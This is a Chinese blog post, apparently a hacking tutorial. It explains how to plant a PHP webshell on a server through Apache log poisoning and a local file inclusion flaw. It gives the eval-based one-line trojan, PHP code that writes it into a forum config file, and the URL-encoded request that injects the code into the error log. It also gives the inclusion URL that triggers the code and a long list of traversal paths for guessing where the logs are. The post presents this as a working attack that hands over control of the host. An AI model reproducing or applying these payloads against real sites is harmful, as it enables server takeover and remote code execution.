php包含apache日志上马

因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。

比如还是这句一句话木马

<?eval($_POST[cmd]);?>

到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");

fclose($fp);?> //在config.php里写入一句木马语句

我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/<%3F%24fp%3Dfopen("%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志,提交
http://xxx.com/z.php?zizzy=/home … /logs/www-error_log

这样webshell就写入成功了,config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连,主机就是你的了。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径,你可以去猜,也可以参照这里。
…/…/…/…/…/…/…/…/…/…/var/log/httpd/access_log
…/…/…/…/…/…/…/…/…/…/var/log/httpd/error_log
…/apache/logs/error.log
…/apache/logs/access.log
…/…/apache/logs/error.log
…/…/apache/logs/access.log
…/…/…/apache/logs/error.log
…/…/…/apache/logs/access.log
…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/acces_log
…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/acces.log
…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/error_log
…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/error.log
…/…/…/…/…/…/…/…/…/…/var/www/logs/access_log
…/…/…/…/…/…/…/…/…/…/var/www/logs/access.log
…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/access_log
…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/access.log
…/…/…/…/…/…/…/…/…/…/var/log/apache/access_log
…/…/…/…/…/…/…/…/…/…/var/log/apache/access.log
…/…/…/…/…/…/…/…/…/…/var/log/access_log
…/…/…/…/…/…/…/…/…/…/var/www/logs/error_log
…/…/…/…/…/…/…/…/…/…/var/www/logs/error.log
…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/error_log
…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/error.log
…/…/…/…/…/…/…/…/…/…/var/log/apache/error_log
…/…/…/…/…/…/…/…/…/…/var/log/apache/error.log
…/…/…/…/…/…/…/…/…/…/var/log/access_log
…/…/…/…/…/…/…/…/…/…/var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
…/apache/logs/error.log
…/apache/logs/access.log
…/…/apache/logs/error.log
…/…/apache/logs/access.log
…/…/…/apache/logs/error.log
…/…/…/apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值